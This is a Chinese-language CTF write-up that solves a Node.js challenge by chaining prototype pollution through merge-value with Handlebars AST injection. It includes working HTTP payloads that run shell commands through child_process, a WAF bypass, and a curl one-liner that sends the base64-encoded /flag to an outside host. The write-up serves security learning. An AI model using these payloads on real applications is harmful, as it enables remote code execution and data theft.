一道原型链污染+AST注入的题,比赛的时候就俩解,有之前给他们上过课的客户看见我也打了,私信问了我下这题,最近事比较多,也当水个文章了hhhhhhhh

poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| POST /template HTTP/1.1 HOst: 127.0.0.1:3000 Content-Type: application/json Content-Length: 406
{ "pathKey": "__proto__.template", "data":{ "type":"Program", "body":[{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral", "value": "console.log(process.mainModule.require('child_process').execSync('ls').toString())" }], "loc": { "start": 0 } }] } }
|

curl外带flag即可:
1
| curl 192.168.147.1:2333/`cat /flag|base64`'
|
题目分析:get /src可看到题目源码:

代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| const express = require('express'); const app = express(); const fs = require("fs") const mergeValue = require("merge-value") const bodyParser = require('body-parser') const handlebars = require("handlebars"); app.use(bodyParser.json())
app.post('/template', function (req, res) { let defaultTemplate = { "text": { "title": "WriteUp" }, "template": "{{this.title}}{{this.body}}", "waf": { "black1": "__", "black2": "program" } } if(req.body.wafkey && req.body.wafdata) { if (defaultTemplate["waf"][req.body.wafkey]) { defaultTemplate["waf"]["custom" + req.body.wafkey] = req.body.wafdata[req.body.wafkey] } else { defaultTemplate["waf"][req.body.wafkey] = req.body.wafData[req.body.wafkey] } } let waf = defaultTemplate["waf"] let wafList = [] for(let wafWord in waf){ wafList.push(waf[wafWord]) } for(let requestKey in req.body){ if(typeof req.body[requestKey] === 'string'){ for(let index in wafList){ if(req.body[requestKey].toLowerCase().endsWith(wafList[index])){ res.send("waf"); return; } } } } let templateData = mergeValue(defaultTemplate,req.body.pathKey,req.body.data) let template = handlebars.compile(templateData["template"]); res.send(template(templateData["text"])); });
app.get('/', function (req, res) { res.send('see `/src`'); });
app.get('/src', function (req, res) { var data = fs.readFileSync('app.js'); res.send(data.toString()); });
app.listen(3000, function () { console.log('start listening on port 3000'); });
|
可以看到使用了handlebars模版,并且输出可控:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /template HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Content-Length: 193
{ "pathKey": "template", "data": "{{#each this}}{{@key}} => {{this}}<br>{{/each}}", "wafkey": "black1", "wafdata": { "black1": { "title": "nonmalicious" } } }
|

但是仔细看代码可以发现,handlebars”: “4.7.7,版本过高,不能直接执行命令,于是转换思路,可以发现存在原型链污染,于是可以想到原型链污染+handlebars AST注入:

1
| 这里可以通过 __proto__.template 绕过上面红框里的第一个if,然后顺便污染template,让他 lettemplate = handlebars.compile(templateData["template"]);执行我们的命令。
|
先本地测试一下我们自己的AST注入paylaod:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| const Handlebars = require('handlebars');
Object.prototype.type = 'Program'; Object.prototype.body = [{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral", "value": "console.log(process.mainModule.require('child_process').execSync('open -a Calculator').toString())" }], "loc": { "start": 0 } }]; var source = "<h1>It works!</h1>"; var template = Handlebars.compile(source); console.log(template({}));
|
node执行一下,可以发现这个版本下是可以直接执行命令的:

于是根据题目要求,构造数据包,最终:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| POST /template HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Content-Length: 407
{ "pathKey": "__proto__.template", "data":{ "type":"Program", "body":[{ "type": "MustacheStatement", "path": 0, "params": [{ "type": "NumberLiteral", "value": "console.log(process.mainModule.require('child_process').execSync('pwd').toString())" }], "loc": { "start": 0 } }] }
}
|
waf绕过:这里的waf也是比较简单的,WAF 检查内容是req.body 的所有字符串字段是否以 WAF 列表中的值结尾,过滤了下划线与Program。我们的 payload 是这样写的:
1 2 3
| {"pathKey":"__proto__.template","data":{"type":"Program","body":[... payload AST ...]}}
这两个关键字段pathKey和data,pathKey是字符串所以会被检测,但内容是__proto__.template,并不以任何 waf 字段结尾。所以不会触发waf,而data又不是字符串而是个对象,所以也不会检测。
|
(这题看了没多久其实思路就出来了,但是本地拉了个其他版本的环境…..差点gg)